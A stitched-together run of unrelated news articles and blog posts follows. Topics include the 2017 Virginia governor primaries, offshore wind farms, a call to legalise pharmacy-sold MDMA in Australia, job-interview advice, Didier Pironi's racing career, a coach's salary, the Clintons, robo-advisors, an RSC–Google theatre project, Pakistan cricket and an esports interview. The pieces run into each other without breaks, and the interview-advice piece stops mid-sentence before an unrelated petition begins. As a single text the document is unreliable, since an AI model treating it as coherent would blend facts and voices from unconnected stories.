Northam, the choice of party leadership, easily disposed of the Bernie Sanders and Elizabeth Warren – endorsed Perriello by nearly 12 percentage points – and Perriello quickly conceded and pledged unity.
To almost universal surprise, it was the sleepier and less covered GOP contest that dragged into the night, with Gillespie, a former chairman of the Republican National Committee and Corey Stewart, a former state chairman of the Trump campaign, separated by just a few thousand votes. Gillespie managed to hold on – but only by just over one percentage point, or about 4,300 votes.
The exceedingly close finish for the well-funded and better-known Gillespie immediately set off alarm bells among Republicans that the movement Trump unleashed and rode to the White House remains a vibrant force that's yet to have been tamed. It also means that Gillespie will be compelled to court this rebellious faction, while at the same time attempting to appeal to the independent and swing voters necessary to clinch a statewide win in Virginia.
It will not be an easy balancing act; some think it might be impossible. Together, Gillespie and Stewart netted only about 12,000 more votes than Northam did alone, a gaping turnout disparity between the parties' that indicates an enthusiasm gap.
Stewart, a Prince William County supervisor, campaigned on preserving state monuments to honor the Confederacy, deporting undocumented immigrants residing in jails and removing restrictions on gun rights. He labeled Gillespie a "cuckservative" -- a term coined by the "alt-right" meant to degrade one's conservative credentials. And he unflinchingly aligned himself with Trump, repeatedly needling Gillespie for distancing himself from the president throughout the campaign.
Given that 42 percent of the Republican electorate in Virginia supported Stewart – and another 14 percent cast ballots for state Sen. Frank Wagner, a third moderate candidate – one of Gillespie's first challenges will be deciding how strongly to embrace Trump, who will surely become a focal point in the race against Northam. The Democratic candidate pointedly used Trump in his campaign ads, calling him a "narcisstic maniac."
If he keeps the president at arm's length, Gillespie risks alienating a base who will feel no incentive to turn out this November. If he embraces Trump, he may push swing voters safely into Northam's corner.
Trump backers say the result showed Gillespie really had no choice.
"If Gillespie wants to win over Republicans who voted for Corey then he needs to make his support for President Trump and the president's agenda clear. Gillespie cannot win in November without a big turnout from the pro-Trump base, to counter the clearly motivated progressive left, and that base won't turn out for a candidate who refuses to embrace the president's agenda," says Chris Barron, a pro-Trump conservative strategist in Manassas, Virginia.
"The race to the right has clearly been a problem for Ed Gillespie, as he is heading into the general election without the majority of the Republican base at his side," Susan Swecker, chairwoman of the Virginia Democratic Party, said in a statement.
No matter which strategy Gillespie chooses, Democrats have already made moves to tie them together.
In his first post-primary email to supporters, he pledged, "We aren't going to let Ed Gillespie bring Donald Trump's hate into Virginia." The comment was made before Wednesday's early-morning shooting at a GOP congressional baseball practice. The shooter appeared to have anti-GOP leanings and had worked as a volunteer for Bernie Sanders, who decried the incident. Both sides canceled scheduled campaign events on Wednesday.
The state Democratic Party has also launched TrumpGillespie2017.com, instructing visitors that "a vote for Ed Gillespie is a vote for Donald Trump."
Gillespie managed to stay out of the Trump hornet nest during his primary run, largely sticking to local issues and declining to weigh in on the daily issues surrounding the president. That won't be possible for much longer, given that he's the standard-bearer in the marquee election of the year.
As Tuesday evening's returns piled in Stewart retweeted a message Tuesday night that said: "The death of Trumpism has been greatly exaggerated."
But Gillespie has good reason to tread carefully. Trump lost Virginia to Hillary Clinton by 5 percentage points last fall and a March survey put the president's approval rating in the state at just 37 percent. Inevitably, Gillespie will not only have to choose to embrace Trump rhetorically, but decide whether he'll want to appear with him physically on stage.
On top of that dynamic, there's also the glaring fact that Democrats have won every statewide election since 2009, leaving the starting odds stacked against Gillespie.
A Perriello victory would have emboldened progressives while making it an easier caricature for Republicans, who would've painted him as far too ideological for a state that has largely governed from the center.
Though he's put forward a largely progressive agenda, Northam will be more difficult to turn into a liberal sycophant.
After squeaking through the primary, Gillespie's campaign tried to paper over the fallout by issuing a 1,400-word memo to argue that the race with Northam is a dead heat, touting its volunteers and resources and spinning the cost of Northam's victory.
But one word that never appears in the Gillespie memo is the factor that will loom largest: Trump.
"Given Gillespie's history, I think he will try to have it both ways. I don't think he will embrace Trump or overtly attack him," Barron says. "I don't think that's a great strategy. Gillespie will not win by running away from President Trump."LIVERPOOL, England — When engineers faced resistance from residents in Denmark over plans to build wind turbines on the Nordic country’s flat farmland, they found a better locale: the sea. The offshore wind farm, the world’s first, had just 11 turbines and could power about 3,000 homes.
That project now looks like a minnow compared with the whales that sprawl for miles across the seas of Northern Europe.
Off this venerable British port city, a Danish company, Dong Energy, is installing 32 turbines that stretch 600 feet high. Each turbine produces more power than that first facility.
It is precisely the size, both of the projects and the profits they can bring, that has grabbed the attention of financial institutions, money managers and private equity funds, like the investment bank Goldman Sachs, as well as wealthy individuals like the owner of the Danish toymaker Lego. As the technology has improved and demand for renewable energy has risen, costs have fallen.Australians should be able to buy a pure form of the drug ecstasy from their local pharmacy to curtail the harm caused by contaminated blackmarket pills, a Melbourne pharmacist and a leading doctor say.
Thousands of people are estimated to use the illegal drug, MDMA, also known as ecstasy, every week because of its tendency to cause feelings of happiness, empathy, intimacy, and reduced anxiety.
Pharmacist Joshua Donelly wants ecstasy legalised. Credit:Pat Scala
But Melbourne pharmacist Joshua Donelly and leading doctor Professor David Penington said many Australians taking the drug were probably swallowing contaminated versions that put them at greater risk of harm because it was manufactured illegally with no quality control.
To reduce this harm, the pair said the Australian government should legalise the drug, and regulate its production and sale through pharmacies, so users can access a safer, pure dose of the drug with advance discussion about the risks. This would allow pharmacists to advise people at high risk of harm, such as those being treated for a psychiatric illness or heart problems, to avoid the drug.I think when surveying the levers you can pull in life, getting a solid job that feels fulfilling, interesting, and pays the bills, is probably one of the big 3. Other than relationships and health, not much else can vastly affect your life like a good career move.
But I think knowing this is probably the biggest obstacle that prevents us from getting the job we want. For me personally, I know how important this stage is in determining my future and, as a result, the job interview becomes an anxiety-inducing hell hole that I want to get through as quickly as possible. This, of course, is not the best mindset.
It was only recently, when I really needed a job (in the sense that I would be kicked out of my apartment if I couldn’t make rent) that I decided to tackle this obstacle full force. I began researching and studying the interview process, and as I pulled from great resources like The Muse, Ramit Sethi, and JobJenny, I began to discover the keys that unlocked the right doors.
The secret to a good interview, it turns out, is good interview prep. Meaning, your performance during an interview is 90% a result of how well you prepped for the interview, rather than your background or experience level.
So after months of study and learning from dozens of failed interviews, here are the 5 big takeaways that doubled my income and got me the game-changing results I was after.
If you’d like more tips you can try my Job Hunting e-course which covers even more resume, LinkedIn, and interviewing hacks.
1) KNOW YOUR QUESTIONS & ANSWERS
It’s impossible to know all the questions that will be asked of you, but that doesn’t mean you can’t try. Similar to taking a test, although you don’t know the exact questions, you should know the types of questions that will be asked. The three main things your interviewer really wants to know is:
Your background and qualifications
Why you want to work with them in particular
How you handle problems (and if you’re a crazy person)
These usually get translated into a variety of questions, but regardless of how they ask it you’ll want to hit each of these points at some point in the interview. The first and most common question is, “tell me a little bit about yourself.” This is SUPER IMPORTANT, do not tell them your ENTIRE work history. Up until recently I always thought they genuinely wanted to know my journey, but as it turns out, they don’t really care (sad but true). What they really want to know is about your qualifications, which means you don’t need to tell them everything, only the things that really matter.
I recommend answering this question with a short and concise story. It should address a) how you found your direction b) how you got some skills and c) finish with how this has led you to apply to their company. Here is an example of, word for word, what I say to this question:
Well, most people usually want to know if I went to school for video production, and I love telling them I didn’t. I actually went to school for creative writing, which really helped me learn how to research and turn that research into meaningful stories. After college I worked at this place called 44Blue, which is this amazing Emmy award-winning production company. And there I was working with absolutely incredible professionals, really each of them was the best at what they did. So at 44Blue I was in charge of prepping productions and I quickly went from production assistant, to assistant camera, to camera-op, and then eventually to production lead. That really opened my eyes on how to craft stories that resonate with people, but then also how to execute a plan of action. So now at our small agency Pixel Press I’m in charge of running our production crews and it’s a very all-hands-on-deck kind of place so I get to be very involved with the content marketing side of it as well. But, I feel that I’ve been working with agencies for 3 years now, and while I’ve learned so many skills and gotten so much experience, I feel those skills are all being spread out in so many directions. I do a project here, I do a project there, but I’m really looking to take everything I’ve learned and use it to push something important in really big ways and that’s why I applied to work with you guys because I think you’re doing just that.
Okay so it’s not perfectly eloquent, but that’s okay. It hits some important points such as: a) I have experience working with the best b) I know how to lead and take action and c) I know why I’m applying to this company over any others.
Above all else: keep it clean
This person doesn’t know you or your background and it’ll be impossible to catch them up on your life in a 20 minute interview, so keep the story clean. Have an intro, a middle, and an end. In the above story I only told them about 3 out of the 8 places I’ve worked. It’s good to avoid telling too many stories right away. Let them ask you more questions and slowly build up that picture for them.
As a side note, the two other most common questions that are asked are, “why do you want to work with us?” and “why are you leaving your current job?” But, we’ve already addressed these a little bit in the intro, thus saving time for the more important stuff.
For a full list of great interview questions I like to use this article from The Muse, which I go over before every interview: 31 Most Common Interview Questions
2) PREPARE STORIES
Now that we’ve seen what typical questions we’ll be asked, we need to prepare stories. A very common mistake I used to make was to answer questions with answers. It is much more effective to answer questions with stories. The three stories you should have in your pocket no matter what are:
A story about how you handled a problem at work
A story about what you did when something went terribly wrong
A story about a time you demonstrated leadership or initiative
If possible, it’s always better to craft stories that are relatable to the the current position you’re applying to. If your stories are from a completely different industry it might be hard for the interviewer to understand them or relate to them. Here is an example of a story I tell about when something went wrong:
O great question. Well there’s a lot to choose from but I think one time that really stands out for me is on the John Kerwin show. It’s a talk-show I worked on that’s like Jay Leno or Conan. Anyway, we had this guest come on the show who was an actor and I won’t say who he was because of privacy, but let’s call him Tim. He came on the show to promote his new book, but you could tell this guy didn’t care at all about the book and was just there because his publicist made him go. So he was in a bad mood and John was interviewing him and this guest was being really crass and dropping F-bombs left and right and the whole crew was shaking their heads thinking, “man this is a disaster, this is going to be the worst show we’ve ever done.” I knew that we needed to do something and I remembered that we had prepped some exercises to do with next week’s guest, we had some skits we were going to do. So I went into next week’s production folder and during the commercial break I went to John and said, “John I think |
tell his Republican colleagues to stop wasting their time…and to tell the American people that he will veto any proposal that cuts Medicare, that cuts Medicaid, that cuts Social Security."
Millions of people will suffer if we don't hold Donald Trump to his word on this topic. Please sign to tell the President you expect him to veto anything of this kind.What goes on in the mind of another? We can see actions, hear words — but one’s thoughts are always one’s own. Didier Pironi’s first victory for Ferrari deemed it likely that he would be France’s first world champion, yet it ended his friendship with Gilles Villeneuve, for the victory had come in an inexplicable act of betrayal — its reasoning obscured for us — and neither Pironi or Villeneuve would ever fully fulfil their talent to become Formula 1’s world champion.
Didier Joseph Louis Pironi was born in 1952, in the outskirts of Paris, to a rich family of immigrants from Italy. In his teens he got into competitive swimming and started studying engineering, but soon his attention turned to racing. While he did finish his degree in science, much to the persistence of his parents, he was absorbed by racing, and joined the Paul Ricard driving school.
Pironi always traveled to the circuit in his blue Ford Capri 2600 RS; “With this car I can satisfy my need for speed on the road, at least a bit.” On track, Pironi showed a natural kind of talent and raced lightweight single-seaters of French makes. While some labelled him as a humourless fanatic, Pironi was timid and constantly busy analysing his driving and the mechanics of the car, aided by the knowledge from his study.
Mike Knight, an instructor from the racing school, remarked; “Pironi was different. He really buckled down to it and later we came to see that this was very much in character. He’d decide to do something and that would be it. He had phenomenal grit.”
In 1972, at the age of twenty, he won the Volant Elf award, enlisting him to the talent programme of the French petroleum giant Elf. After Patrick Tambay, Pironi was only the second driver in the programme, but over the next decade, Elf was singlehandedly responsible for the flood of French drivers who got into F1 in the ’80’s and early ’90’s, namely Alain Prost, René Arnoux, Pascal Fabre, Olivier Grouillard, Paul Belmondo, Éric Bernard, Érik Comas and Olivier Panis.
Like all French drivers, Pironi started racing in the French Formula Renault cup, and with Elf’s backing, he clinched the title in 1974, followed by the Super Renault title in 1976. In 1977, Pironi raced in the international Formula 2 championship, which was a proper stepping stone to grand prix racing. In fact, the whole top ten of the 1977 Formula 2 season would land seats in Formula 1. Pironi himself took one victory and ended up third in the standings.
Pironi was signed by the team of Ken Tyrrell for the 1978 Formula 1 season. Despite being British, the Tyrell team had strong ties with Elf and featured French drivers more than any nationality, with Jean-Pierre Beltoise, Johnny Servoz-Gavin, François Cevert, Patrick Depailler and Michel Leclère all driving full seasons for the team in the decade before Pironi.
That same year, Pironi was also part of the huge fleet of drivers that Elf had send to the 24 Hours of Le Mans, tasked with bringing victory to France. Pironi partnered Jean-Pierre Jaussaud, and in the Renault A442B with its quirky-looking canopy, the two duly won the race, five laps ahead of the nearest Porsche.
Meanwhile in Formula 1, Pironi impressed in his debut season with five scoring finishes, followed by more points and two podiums in 1979. When Tyrell lost Elf’s sponsorship, Pironi was signed by Ligier in 1980, which did feature the petroleom empire’s sticker on their car. Pironi collected five podiums and impressively finished the 1980 season in fifth place. At the circuit of Zolder, which would play another big role in his career, Pironi won his first grand prix.
Enzo Ferrari was impressed and approached Pironi to drive for the Scuderia in the 1981 season. As the Maranello outfit were sponsored and fuelled by Agip, it meant Pironi had to break all ties with Elf, which he did.
Through years of racing, Pironi had matured greatly as a driver, though he still brought the same analytical approach as he had in those days of youth at Paul Ricard. Enzo Ferrari said, “As soon as Pironi arrived at Maranello, he won everyone’s admiration and affection, not only for his gifts as an athlete, but also for his way of doing things.”
Pironi partnered with Canadian Gilles Villeneuve, who had already won four races with the team. Enzo Ferrari treated the two as equals, and Didier and Gilles quickly became friends. There’s a story of the two playing games at the Italian Autostrada, taking turns in driving flat-out and dodging traffic for as long as possible, while the other would have to sit in the passenger seat without flinching or raising a brow.
Perhaps the friendship between the two was mere politics for Pironi. Villeneuve’s wife Joann was worried about such a hidden agenda. Friend and fellow driver Patrick Tambay remarked; “It was just part of how Didier operated — he was very smart. Gilles, on the other hand, just did his stuff. Unlike Pironi, he didn’t go on holiday with Ferrari’s team manager, or ask him to be godfather to his children, or be best man at his wedding. He wasn’t a political animal like Didier.”
Pironi himself said; “I’m deeply interested in politics. It’s not a particularly noble area of life, but it’s the only thing that makes things actually happen, in motorsport as elsewhere.”
Perhaps the friendship was aided by the fact that there wasn’t a championship at stake in their first season together. The 1981 Ferrari, the cumbersome 126CK, was a poor-performer. While it yielded the most powerful engine of the field, its reliability and handling were terrible, and Villeneuve labelled the car “a big red Cadillac”. Despite this, Villeneuve won two races in brilliant fashion, at the narrow tracks of Monaco and Jarama, where passing was virtually impossible. Pironi only collected nine points. The two ended in the season in 7th and 13th places respectively.
Harvey Postlethwaite was selected by Enzo Ferrari to improve the car for the following season, and he did; the 1982 Ferrari was smaller, nimbler and had vastly improved aerodynamics.
From early season testing Villeneuve and Pironi showed great speed, but reliability issues, driver mistakes, and an illegal rear-wing in Long Beach meant that Ferrari had scored only a single point in the opening three rounds of the 1982 season. But the Scuderia got their act together at the start of the European season, in that now infamous grand prix at Imola.
The Renault’s of Rene Arnoux and Alain Prost locked the front-row, but both retired early on in the race. The Ferrari’s lead over Michele Alboreto in Tyrell was so big that the Scuderia, keen to finally score some good points, ordered the cars to hold position and to slow down to minimise any risks. The signs were shown at the start/finish line, and there was no mistake that both drivers had seen it. Villeneuve led Pironi and the two slowed down, but with two laps to the finish, Pironi inexplicably pulled down the inside of Villeneuve at the hairpin. With the fans and members of the team astonished by what was happening, Villeneuve fought back. The Ferraris had run conservative laps, but suddenly the pace had elevated to nearly two seconds a lap quicker. The two battled wheel to wheel, and Villeneuve started the final lap ahead, but Pironi passed him in the Tosa hairpin, and the Frenchman went on to win the race.
Pironi’s first win for the Scuderia had come in the darkest of acts; he never felt needed to explain why he had disobeyed the team order, neither did the team punish Pironi for it. Villeneuve felt betrayed, and realised Joann had been right all along. Villeneuve spend his last days tormented, realising that Pironi was trying to take control over the team and famously saying the words that he’d never speak to Pironi again. It turned out to be prophetic just two weeks later.
With eight minutes to go in the final qualifying session for the race at Zolder, Villeneuve was trying to improve his time, which was just one tenth slower than Pironi’s. The Ferrari encountered the slow driving March of Jochen Mass, who was known as a safe driver. Mass moved to the right to give the racing line to Villeneuve, who, at the same instant, moved to the right to pass Mass. The speed difference was huge – the Ferrari launched into the air over the back of March, flipped over and landed nose-first into the soft ground – with enough force to tear Villeneuve’s helmet from his head and throw him, still strapped to his seat, into the catch fence fifty meters from the wreckage.
The session was stopped and the medics arrived. Pironi was in the pits when the accident happened and rushed to the scene, on foot. Realising he could do nothing, he walked back with his and Villeneuve’s helmet, expressionless, but no doubt trying to fathom what had just happened.
Villeneuve was brought to a hospital, where he died that evening. Grand Prix racing had lost one of its biggest stars. The Ferrari team withdrew from Sunday’s race, while Villeneuve’s Augusta helicopter was poignantly left parked in the paddock.
Yet the season went on, and Patrick Tambay replaced Villeneuve at Ferrari. Pironi finished second in the Monaco Grand Prix, and third in Detroit.
But again the perils of death came close. At Circuit Gilles Villeneuve, Pironi qualified in pole position for the Canadian Grand Prix, yet stalled his car at the start. All the other cars flew passed except for Riccardo Paletti. From the back of the grid, his Osella was already traveling at 180kph as he slammed into the back of the Ferrari. As medics tried to recover the unconscious Italian – wedged against the steering wheel – from the car, the fuel tank erupted. After the fire was extinguished it took rescue workers another 25 minutes to get Paletti out of the car, with the sparks from the cutting equipment again re-igniting the petrol on the track. He died that evening, from the impact of the crash and inhalation of smoke and exhausting foam, just two days before his 24th birthday.
A week later, Pironi escaped major injuries himself, when he had a 280kph crash while testing at Paul Ricard, when the suspension of his Ferrari broke.
The Frenchman claimed victory in the Dutch Grand Prix, finished second in the British Grand Prix and third in the French Grand Prix. Come the German Grand Prix, Pironi was leading the championship with 39 points to John Watson’s 30 and Keke Rosberg’s 27, well on course to clinch the title.
Mark Huges wrote; “From the outside Pironi displayed a measured detachment which sent a shiver through those who didn’t know him. But that was merely the lid over a spitting cauldron of desire so intense that in the end it devoured him.”
But the 1982 season had another sinister plot twist. The German Grand Prix was driven at the old Hockenheim circuit. Pironi had again qualified in pole, but in an untimed session, and in rainy conditions, started testing a new composition wet weather tyre from Goodyear.
The spray was immense on the long straights of Hockenheim, and as Pironi passed the Williams of Derek Daly, he had not sighted the slow driving Renault of Alain Prost, tiptoeing around the slippery track. Eerily similar to Villeneuve’s accident, Pironi’s Ferrari crawled over the back of the Renault, flew through the air and landed nose first, completely destroying the front of the Ferrari, and Pironi’s legs.
Years later, Prost said he was still haunted by the crash; “Every time I drive on a wet track, I look in my rear view mirror and see the Ferrari of Didier flying.”
Pironi survived the crash, but his legs were severely fractured. Unable to walk, let alone race, he watched the competition claw back his lead of the championship. Keke Rosberg finished second in the German race, second in Austria and won in Switzerland — thus taking over the lead with two races to go. Ferrari finished the season with Patrick Tambay and Mario Andretti as drivers, and clinched the constructors trophy, but Pironi eventually finished the season in second place, five points behind Rosberg, despite missing the final five races.
It took four years for the Frenchman to walk unaided, a time in which he received over thirty surgeries. But, in 1986, a return to racing beckoned. Pironi tested an AGS at Paul Ricard and proved to still have his earlier pace. He then tested for Ligier, and in the silly season ahead of 1987 there was a rumour of him joining McLaren alongside Prost, but it never happened, perhaps because Pironi would have been forced to pay back some insurance money if he returned to competitive racing again.
Pironi had been tantalisingly close to becoming France’s first world champion in Formula 1, but when motorsport was no longer an option, he shifted his sights on becoming world champion in powerboats. In the years before his accident he was already involved in applying Formula 1 technology and the knowledge of his engineering study into powerboats with constructor Abbate, who powered their carbon powerboats with Lamborghini engines.
With his help and development, the revolutionary Colibri powerboat was constructed, which was the lightest among all competitors, due to its chassis being made completely out of carbon fibre. Elf brought sponsorship, as the crew consisted of Didier Pironi, Bernard Giroux – who was Ari Vatanen’s former navigator – and Jean Claude Guenard, a former engineer for Ligier.
In August of 1987, with Pironi behind the steer, the Colibri clinched its first success, winning the Norwegian race for the World Offshore Powerboat Championship. The French team was seen as a the title favourite, and among the congratulations for the victory was a telegram from Enzo Ferrari.
The next race, only two weeks later, was in England near the Isle of Wight. Pironi had flirted with danger so many times before, but this is where fate awaited; the Colibri was running in second place when it hit approached a wave caused by a nearby oil tanker ship. The Colibri hadn’t lift the throttle the slightest, hit the wave, flipped and crashed into the sea, travelling from 170kph to an abrupt standstill.
While the boat was only slightly damaged, the crew was instantly killed.
Pironi was buried in the South of France, with his gravestone yielding the French words ‘entre chiel et mer‘, meaning ‘between the heavens and the sea’.
At the time of Didier’s death, Pironi’s girlfriend was pregnant. She gave birth to twins, who, in honour of the two friends, she named Didier and Gilles.The University of South Carolina Board of Trustees met Friday afternoon and has approved a raise and extension for men’s head basketball coach Frank Martin.
The new contract is a six-year deal (four-year extension) that will run through the 2021-22 season, which starts at $2.45 million and will increase $50,000 per year. The final year of the deal will be a $2.7 million salary.
Martin was hired to be the Gamecocks head coach following the 2011-2012 season, a six-year contract in which he made $2.1 million this past season, his fourth in Columbia.
“I feel like his impact on this program has been significant and while we are sitting here today and didn’t make March Madness, we were in a position to be in March Madness. That is tremendous progress in this program,” athletics director Ray Tanner said following the BOT teleconference.
The Gamecocks are coming off arguably one of the best seasons in program history with a 25-9 overall record. They set the mark for most regular season wins, and tied the mark for the most wins and home wins in a season.
Their 11 wins in SEC play was good enough for third in the final conference standings and it was just the fourth time a USC team has won 10 or more SEC games since the program joined the league in 1991.
Martin has led the program to a 70-62 record that went from 14 wins in back-to-back years, to 17 wins in 2014-15, and then the major jump of 25 wins this year.
His pay raise will make him the fourth highest-paid coach in the SEC according to salaries from last season. His $2.1 million salary ranked seventh in the conference.
“This is going to put him in the top four or five in the SEC, probably in the top 20 range nationally and I feel that’s where he should be,” Tanner said. “We are the University of South Carolina in the Southeastern Conference. We have expectations and we should certainly compensate our coaches accordingly.”
SEC coaches salaries 2015-16 season:
1. John Calipari, Kentucky, $7.5 million
2. Avery Johnson, Alabama, $2.83 million
3. Bruce Pearl, Auburn, $2.75 million
4. Rick Barnes, Tennessee, $2.25 million
t5. Kevin Stallings, Vanderbilt, $2.2 million (Now at Pitt)
t5. Mike Anderson, Arkansas, $2.2 million
7. Frank Martin, South Carolina, $2.1 million
8. Ben Howland, Mississippi State, $2.05 million
9. Michael White, Florida, $2 million
10. Andy Kennedy, Ole Miss, $1.925 million
11. Mark Fox, Georgia, $1.7 million
12. Johnny Jones, LSU, $1.5 million
13. Kim Anderson, Missouri, $1.2 million
14. Billy Kennedy, Texas A&M, $1.1 million (terms of extension pending)
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Not a VIP member? Buy one month, get three months FREE!Readers may have noticed that I have found myself slipping. I no longer refer to Clinton's candidacy. I refer to the Clintons' candidacy. This was always the case, of course. They have been professionally joined at the hip for their entire careers. Their marriage, among other things, is a power-move - for them both. But I never expected Bill to show his hand this crudely and this unpleasantly so soon. I'll bet he didn't either. But that's how close Obama has come.
At least now we know what this race is about: Obama versus the Clintons. Both of them. Their dynasty. Their power. Their methods. Their character. And so the question becomes: does America really want a Restoration? And if Hillary is this beholden to Bill in the campaign, what will his role be in the White House? I've long hoped he'd be given a clear job, accountable to the president and the public. But that isn't their style. When you re-elect royal families, you get their family dynamics as well. What we're seeing now is a small glimpse of what we would be dealing with for at least four years.
They can still be stopped.
(Photo: Ethan Miller/Getty.)
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We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.Robo-advisors understandably look attractive to investors, especially young, tech-savvy millennials. At first glance, they appear to create and manage portfolios for investors at considerably less cost than human advisors and/or their firms. But let's take a closer look.
These online-only platforms combine computer algorithms with aspects of Modern Portfolio Theory, the portfolio management approach used by many advisors to match investors with investment strategies and build their portfolios.
However, computer algorithms and Modern Portfolio Theory elements are not enough to effectively manage an investor's portfolio over the long term or ensure that an investor's long-term goals are met.
Read MoreDo you need a robo-advisor?
What investors may not realize is that robo-advisors use the same turnkey asset-management platforms and model portfolio programs that human advisors rely on in the course of their operations, but without the personal touch.
This technology was designed to help advisors run their businesses more efficiently and spend more time strengthening client relationships—in other words, it was meant to optimize the potential of human advisors and portfolio managers, not act as a substitute for them.After their last social media experiment suffered a critical mauling, this new digital collaboration will allow audiences to watch and interact with play on Google+ over three days in June
Forget putting a "girdle round about the earth in 40 minutes", the Royal Shakespeare Company will present A Midsummer Night's Dream to a global audience over three days via the magic of the internet.
The RSC has partnered with Google for the project, called Midsummer Night's Dreaming, in which Shakespeare's fanciful play will unfold in real time. The production will use a number of online formats, from live-streaming to written blogs, all shared through the social network Google+ over the Midsummer weekend, from 21 June.
It marks the company's second major foray into online drama, following its Twitter take on Romeo and Juliet, Such Tweet Sorrow, in 2010, which saw actors microblogging in character over the course of five weeks. However, that project, though praised for its intentions, was ridiculed in practice.
The Midsummer Night's Dreaming project will reduce the length of engagement required of its audiences, and centre on a day of live events on Sunday 23 June in Stratford-upon-Avon.
Artistic director Gregory Doran will direct a group of actors over three days, during which the young lovers Lysander and Hermia will actually elope, leaving a trail of digital media behind them. The RSC has also commissioned a number of artists to report and respond to the main plot online in the guise of new characters – such as Bottom's rival the evil weaver and Mrs Snug – who will spend the weekend stitching her husband's lion costumes together. Audiences will be able to interact with these characters through Google+.
Doran said: "I am delighted to be working with Google on this truly daring and innovative project. We will be exploring what happens when one of Shakespeare's best-loved plays is experienced through the eyes of the internet."
Afterwards, the RSC will release a digitally annotated audio recording of the original play with links to the accompanying materials appearing at the appropriate moments.
Midsummer Night's Dreaming marks Google's first partnership with a theatre company. Tom Uglow, director of Google's Creative Lab, said: "Google loves thinking big and we wanted to reimagine A Midsummer Night's Dream for a digital age. Adding a little of our digital fairy dust to the magic of the RSC, the idea is to take the play from theatre into the real world, online and off, allowing people who can't visit to experience and interact with the play via Google+."
• This article was amended on Friday 3 May. It originally stated that 23 June was a Saturday. This has been changed.It was the contrast that was most striking.
While India's pre-match media conference - attended only by the captain, Virat Kohli - was dominated by talk of the division between him and his team's coach, Anil Kumble, the Pakistan captain and coach turned up together and talked of the relationship as akin to a marriage.
It is possible that such a move was planned to highlight their opponents' apparent divide. It didn't feel like it at the time, but it is possible. And it is very possible that when Mickey Arthur and Sarfraz Ahmed were listening to each other speak in their respective languages and nodding vigorously in agreement, they had not the slightest idea of what was being said.
But the general impression remained: while much is expected of a tense and possibly divided India, Pakistan are united, relaxed and quietly confident. No one is claiming they are favourites. But they are certainly dangerous.
"The captain-coach relationship is almost like a marriage," Arthur said. "You've got to be on the same page all the time. And if you're on the same page, you get correct decisions and you give clarity to your team. And that's certainly where Saf and myself find ourselves; very much on the same page. I'm really going to enjoy working with him."
"The pressure is on India only," Sarfraz said. "There is no pressure on us. We are standing at No. 8 in the rankings. We cannot fall below this."
They can, of course. They need only look at the example of West Indies to know that. And with context and merit likely to play an ever greater role in all formats of the game, there can be no room for complacency. Qualifying for such competitions - and that includes the World Cup - cannot be taken for granted.
But the first step to progress is accepting that change is required. And after a period of denial, Pakistan are now well aware of that. They know they need to undergo the same sort of evolution in their ODI cricket as England have in the last couple of years. They need to score more heavily, be more potent with the ball and improve their fielding. They need, in every way, to attack more.
They know all that. And with several promising young players beginning to settle into international cricket - notably Babar Azam, Shahdab Khan and Hasan Ali - they have the raw materials to make progress. This tournament may come a little too early in their development cycle, though, with Arthur accepting his team are "a work in progress."
Despite Pakistan's claims of being well-prepared, some of their players will enter the Champions Trophy without significant international experience ICC
"We knew that we needed to play a different brand of cricket," he said. "And it's changing. Certainly in terms of the brand of cricket we play. We're working on it. It's a work in progress. I'm comfortable where we're at.
"We've worked massively on our ball rotation and our strike rates. It was very interesting to read the other day - I go through the stats quite regularly - that in the last year we've scored the third-most amount of 300s. England are way, way ahead, but Pakistan is number three on that list. And I think that's testimony to the brand of cricket that we are starting to play.
"The team that's going to win this competition is the team that can strike. Gone are the days of just containing through the middle overs. Gone are the days of going at five-and-a-half an over, thinking you're doing a good job.
"You've got to be able to take wickets. We always pick an attack to take wickets. Every one of our attack is going to be able to do something different. We have a left-arm swinger, we could have left-arm pace, we have the swing and hustle of Hassan, we've a left-arm spinner, an off-spinner and we could have a leg-spinner. We've got everything at our disposal tomorrow to allow Saf to pull the strings to make sure we can try to bowl India out, because that's got to be priority number one. We can't just sit back and let them score. We've got to attack them and we've got to look to bowl them out."
Sarfraz agreed. And, intriguingly, offered "new things" on Sunday. "We have made a plan," he said. "On Sunday, you will see us doing some new things, which we have not done against India previously. We will try doing some out-of-the-box things. You will see this team playing differently."
Quite how 'out of the box' they can be remains to be seen. But it is not a phrase that might have been expected from Misbah-ul-Haq, and with a couple of new faces in the team - faces that India will not have seen - it may be that they have some element of surprise on their side.
For all the talk of being "extremely well-prepared and ready to go" (as Arthur put it), for all the talk of "players having role clarity" and "everybody knowing where they fit in," there are some pretty obvious holes in Pakistan's preparations. If a team is really well-prepared, won't it have ensured its players have gained experience at this level before going into a global event against an arch rival? And if a team is really well-prepared, won't it have ensured its players know what to expect from full-house crowds, media attention and this level of competition?
That is patently not the case with this Pakistan side. Shahdab Khan, the 18-year-old leg-spinner, has played only three ODIs, while Faheem Ashraf, the seam-bowling all-rounder who made a wonderful impression in the warm-up victory over Bangladesh, could make his international debut. Whatever their inherent class, this will represent a huge step up in quality. Plunging such players into one of the most high-profile games in the sport is hugely demanding and not especially reflective of good planning.
"If you're good enough, you're old enough," Arthur said. "That's what I always say. And I think Shadab Khan is certainly good enough. He's ready. If he gets the opportunity, I'm particularly confident in his ability to produce for us. And he's a match-winner. He really is. It's so exciting. It's another young Pakistan cricketer on the big stage and that's really great. It's really good for the country and it's really good for cricket."
It may well be. But while you suspect this game comes a bit too early for Shadab et al. history has taught us never to discount Pakistan. And while the Arthur-Sarfraz partnership can survive defeat against India, perhaps the same cannot be said for the Kohli-Kumble partnership if the result goes the other way. All the expectation, all the pressure, all the consequences are weighing down India. You suspect Pakistan wouldn't mind adding to their woes.This interview was conducted they day before Najin Sword took off to L.A.
If there is a "Rookie Team of the Season" award, Najin Sword (NJS) would be a top candidate for it. The brother team of the old-favourites Najin Shield has posted impressive results in the OGN Summer tournament as well as the Korean Regionals even though it is not even five months old. Led by MakNooN, Sword has posted wins against some of the world-renowned teams, and it is going to compete in the Season 2 Championship in Group B against Team Dignitas, CLG.EU, and Saigon Jokers.
It seems that a new heavy-weight contender, literally, for the "Top AD Carry" title has emerged from the new-found Sword team along with its rise to the top. Kim "PraY" Jong-In was not known very-well in the LoL community until he showed that he can go toe-to-toe against the best AD carry players such as SBS, Yellowpete, and Captain Jack.
As NJS was packing up to fly to L.A., I had a chance to ask Kim "PraY" Jong-In quick questions about Sword's recent success:
PraY; Image courtesy of Fomos
What does PraY mean? Does your previous ID "Troll Kim" have anything to do with trolling?
